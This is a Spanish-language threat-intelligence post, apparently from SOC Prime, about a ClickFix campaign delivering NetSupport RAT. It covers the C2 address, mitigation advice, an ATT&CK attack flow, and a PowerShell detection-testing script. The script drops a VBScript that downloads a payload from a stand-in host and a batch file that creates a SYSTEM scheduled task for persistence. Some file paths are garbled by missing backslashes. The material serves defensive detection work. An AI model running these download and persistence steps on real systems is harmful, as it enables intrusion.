SOC Prime Bias: Medio

03 Jun 2026 16:20 UTC

NetSupport RAT Entregado por un Cargador No Identificado

Author Photo
SOC Prime Team linkedin icon Seguir
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Se observó una herramienta de acceso remoto previamente no identificada que distribuía un paquete malicioso de NetSupport Manager RAT. El malware inicial se comunicaba con un servidor de comando y control en 89.110.110.119 a través del puerto TCP 443 usando tráfico codificado. La campaña, rastreada como SmartApeSG ClickFix, se basó en scripts maliciosos y un archivo CAB para instalar el NetSupport RAT en los sistemas victimizados.

Investigación

La investigación descubrió múltiples indicadores, incluyendo URLs maliciosas, direcciones IP y archivos escritos en el directorio ProgramData . El RAT inicial entregó un script por lotes que extraía e instalaba el NetSupport RAT desde un archivo CAB llamado setup.cab . Una vez completada la instalación, los archivos de soporte se eliminaron para reducir las huellas visibles de la actividad.

Mitigación

Las organizaciones deben bloquear el tráfico de red hacia las direcciones IP y dominios maliciosos identificados y monitorear la creación de los archivos referenciados bajo ProgramData. Las defensas de los puntos finales deben detectar la ejecución de archivos VBScript y por lotes sospechosos, mientras que el monitoreo de redes debe aplicar controles más estrictos al tráfico codificado sobre el puerto 443.

Respuesta

Los defensores deben alertar sobre los indicadores listados, aislar sistemas afectados y realizar análisis forense para descubrir cualquier mecanismo de persistencia. Los archivos maliciosos deben ser eliminados, cualquier cambio no autorizado debe ser revertido y las políticas de firewall deben actualizarse para bloquear la comunicación saliente con la infraestructura de comando y control identificada.

graph TB %% Definición de clases classDef action fill:#c2f0c2 %% Nodos node_a[«<b>Acción</b> – <b>T1204.001 Ejecución de usuario: enlace malicioso</b><br/><b>Descripción</b>: La víctima carga JavaScript malicioso desde una página comprometida.»] class node_a action node_b[«<b>Acción</b> – <b>T1027.006 Archivos ofuscados: HTML Smuggling</b><br/><b>Descripción</b>: Entrega de script codificado mediante la técnica HTML smuggling.»] class node_b action node_c[«<b>Acción</b> – <b>T1059.005 Intérprete de comandos y scripts: Visual Basic</b><br/><b>Descripción</b>: processor.vbs deja caer token.bat en el sistema.»] class node_c action node_d[«<b>Acción</b> – Ejecución de script Batch<br/><b>Resultado</b>: Extrae NetSupport RAT en el host.»] class node_d action node_e[«<b>Acción</b> – <b>T1547.014 Active Setup</b> & <b>T1546.007 Netsh Helper DLL</b><br/><b>Descripción</b>: El RAT se coloca en C:\\ProgramData\\UpdateInstaller para lograr persistencia.»] class node_e action node_f[«<b>Acción</b> – <b>T1574.007 Intercepción de ruta</b> & <b>T1574.005 Permisos débiles del instalador</b><br/><b>Descripción</b>: Escalada de privilegios mediante entradas maliciosas en PATH y permisos débiles del instalador.»] class node_f action node_g[«<b>Acción</b> – <b>T1564 Ocultar artefactos</b> & <b>T1564.010 Suplantación de argumentos de proceso</b><br/><b>Descripción</b>: Se eliminan archivos de staging y se falsifican argumentos de proceso para evadir defensas.»] class node_g action node_h[«<b>Acción</b> – <b>T1571 Puerto no estándar</b> & <b>T1071.001 Protocolos web</b><br/><b>Descripción</b>: Tráfico de comando y control sobre TCP 443 usando comunicaciones web codificadas.»] class node_h action %% Conexiones node_a –>|conduce a| node_b node_b –>|conduce a| node_c node_c –>|conduce a| node_d node_d –>|conduce a| node_e node_e –>|conduce a| node_f node_f –>|conduce a| node_g node_g –>|conduce a| node_h

Flujo de Ataque

Ejecución de Simulación

Prerequisito: El Verificación Previa de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    Un atacante que ha ganado acceso inicial en un host Windows deja caer tres artefactos maliciosos en C:ProgramData:

    1. processor.vbs – un script de Visual Basic que descarga el binario principal del RAT.
    2. token.bat – un archivo por lotes que crea una tarea programada para persistencia.
    3. setup.cab – un archivo CAB que contiene un DLL dejado en C:ProgramData y más tarde cargado a través de rundll32.exe.

    El atacante después ejecuta cada archivo por turno, causando eventos de creación de procesos que contienen las rutas de archivos exactas requeridas por la regla Sigma.

  • Script de Prueba de Regresión:

    # netSupport_RAT_simulation.ps1
    # -------------------------------------------------
    # PROPÓSITO: Reproducir la telemetría de infección de NetSupport RAT
    # -------------------------------------------------
    
    $targetDir = "C:ProgramData"
    # Asegúrese de que el directorio exista
    if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force }
    
    # 1. Dejar processor.vbs
    $vbsPath = Join-Path $targetDir "processor.vbs"
    Set-Content -Path $vbsPath -Value @"
    Set objXML = CreateObject("MSXML2.XMLHTTP")
    objXML.open "GET","http://malicious.example.com/payload.exe",False
    objXML.send
    "@" 
    
    # 2. Dejar token.bat
    $batPath = Join-Path $targetDir "token.bat"
    Set-Content -Path $batPath -Value @"
    schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System
    "@
    
    # 3. Dejar setup.cab (CAB ficticio que contiene un archivo de texto)
    $cabPath = Join-Path $targetDir "setup.cab"
    $tempDir = "$env:TEMPcab_temp"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    Set-Content -Path "$tempDirdummy.txt" -Value "placehholder"
    # Crear un CAB – requiere makecab (herramienta incorporada de Windows)
    & makecab.exe "$tempDirdummy.txt" $cabPath
    
    # Fase de Ejecución – desencadenar las detecciones
    Write-Host "`n[+] Ejecutando processor.vbs"
    cscript.exe //B //Nologo $vbsPath
    
    Write-Host "[+] Ejecutando token.bat"
    cmd.exe /c $batPath
    
    Write-Host "[+] Ejecutando setup.cab a través de rundll32 (carga simulada)"
    rundll32.exe "$cabPath",DummyEntryPoint
    
    # Limpiar carpeta temporal utilizada para la creación del CAB
    Remove-Item -Recurse -Force $tempDir
  • Comandos de Limpieza:

    # netSupport_RAT_cleanup.ps1
    $targetDir = "C:ProgramData"
    $files = @("processor.vbs","token.bat","setup.cab")
    foreach ($f in $files) {
        $fullPath = Join-Path $targetDir $f
        if (Test-Path $fullPath) { Remove-Item -Force $fullPath }
    }
    # Eliminar la tarea programada creada por token.bat
    schtasks /delete /tn "NetSupportPersist" /f
    Write-Host "Limpieza completa."